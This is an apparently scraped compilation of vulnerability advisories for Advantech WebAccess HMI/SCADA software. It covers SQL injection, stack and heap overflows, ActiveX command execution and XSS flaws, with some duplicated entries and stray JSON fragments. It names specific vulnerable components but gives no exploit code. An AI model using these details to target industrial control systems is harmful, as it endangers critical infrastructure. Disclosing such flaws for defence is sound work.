WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). Security vulnerabilities exist in several Advantech products. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
The CreateProcess method in the BWOCXRUN.BwocxrunCtrl.1 ActiveX control in bwocxrun.ocx in Advantech WebAccess before 7.2 allows remote attackers to execute (1) setup.exe, (2) bwvbprt.exe, and (3) bwvbprtl.exe programs from arbitrary pathnames via a crafted argument, as demonstrated by a UNC share pathname. Supplementary information : CWE Vulnerability type by CWE-77: Improper Neutralization of Special Elements used in a Command ( Command injection ) Has been identified. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the bwocxrun.ocx. The control exposes a scriptable method 'CreateProcess'. An attacker can exploit a flaw in the validation code within the method to execute arbitrary commands in the context of the browser. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Attackers can exploit this issue to bypass security restrictions allowing attackers to run arbitrary command lines; this may aid in launching further attacks. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

"data": "The CreateProcess method in the BWOCXRUN.BwocxrunCtrl.1 ActiveX control in bwocxrun.ocx in Advantech WebAccess before 7.2 allows remote attackers to execute (1) setup.exe, (2) bwvbprt.exe, and (3) bwvbprtl.exe programs from arbitrary pathnames via a crafted argument, as demonstrated by a UNC share pathname. Supplementary information : CWE Vulnerability type by CWE-77: Improper Neutralization of Special Elements used in a Command ( Command injection ) Has been identified. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the bwocxrun.ocx. The control exposes a scriptable method \u0027CreateProcess\u0027. An attacker can exploit a flaw in the validation code within the method to execute arbitrary commands in the context of the browser. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. \nAttackers can exploit this issue to bypass security restrictions allowing attackers to run arbitrary command lines; this may aid in launching further attacks. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess/SCADA 8.4.1 allows a remote, unauthenticated attacker to execute arbitrary code via a crafted IOCTL 70603 RPC message. Advantech WebAccess/SCADA Contains a classic buffer overflow vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer error vulnerability exists in Advantech WebAccess/SCADA version 8.4.1. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc

Vulnerability from variot
Race condition in Advantech WebAccess before 8.1 allows remote attackers to execute arbitrary code or cause a denial of service (buffer overflow) via a crafted request. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x7920 IOCTL in the Kernel subsystem. A shared virtual memory overflow vulnerability exists in a call to strcpy. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
Advantech WebAccess before 8.1 allows remote attackers to execute arbitrary code via vectors involving a browser plugin. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
A SQL Injection issue was discovered in WebAccess versions prior to 8.3. WebAccess does not properly sanitize its inputs for SQL commands. Advantech WebAccess Is SQL An injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within ChkAdminViewUsrPwd1, called from mailPg.asp. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code under the context of the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple denial-of-service vulnerabilities 2. Multiple stack-based buffer-overflow vulnerabilities 3. A directory-traversal vulnerability 4. An SQL-injection vulnerability 5. Failed attacks will cause denial of service conditions. versions prior to Advantech WebAccess 8.3 are vulnerable

"data": "A SQL Injection issue was discovered in WebAccess versions prior to 8.3. WebAccess does not properly sanitize its inputs for SQL commands. Advantech WebAccess Is SQL An injection vulnerability exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within ChkAdminViewUsrPwd1, called from mailPg.asp. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code under the context of the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple denial-of-service vulnerabilities\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. A directory-traversal vulnerability\n4. An SQL-injection vulnerability\n5. Failed attacks will cause denial of service conditions. \nversions prior to Advantech WebAccess 8.3 are vulnerable",

Vulnerability from variot
Unspecified ActiveX controls in Advantech WebAccess before 8.1_20160519 allow remote authenticated users to obtain sensitive information or modify data via unknown vectors, related to the INTERFACESAFE_FOR_UNTRUSTED_CALLER (aka safe for scripting) flag. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. An arbitrary code execution vulnerability exists in Advantech WebAccess prior to 8.1_20160519, which was caused by a program that marked an unsafe ActiveX control as safe-for-scripting. An attacker could exploit this vulnerability to insert and execute arbitrary code. Advantech WebAccess is prone to the following security vulnerabilities: 1. A local buffer-overflow vulnerability Local attackers can exploit these issues to perform unauthorized actions and crash the affected application; denying service to legitimate users. Due to the nature of these issues, code-execution may be possible but this has not been confirmed. Versions prior to Advantech WebAccess 8.1_20160519 are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Summary
A heap-based buffer overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities where there is a lack of proper validation of the length of user-supplied data prior to copying it to the heap-based buffer, which could allow an attacker to execute arbitrary code under the context of the process.

Summary
A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. The application lacks proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process.

Summary
A stack-based buffer overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities where there is a lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process.

Summary
Advantech WebAccess 8.3.2 and below is vulnerable to multiple reflected cross site scripting vulnerabilities. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim to supply malicious HTML or JavaScript code to WebAccess, which is then reflected back to the victim and executed by the web browser.
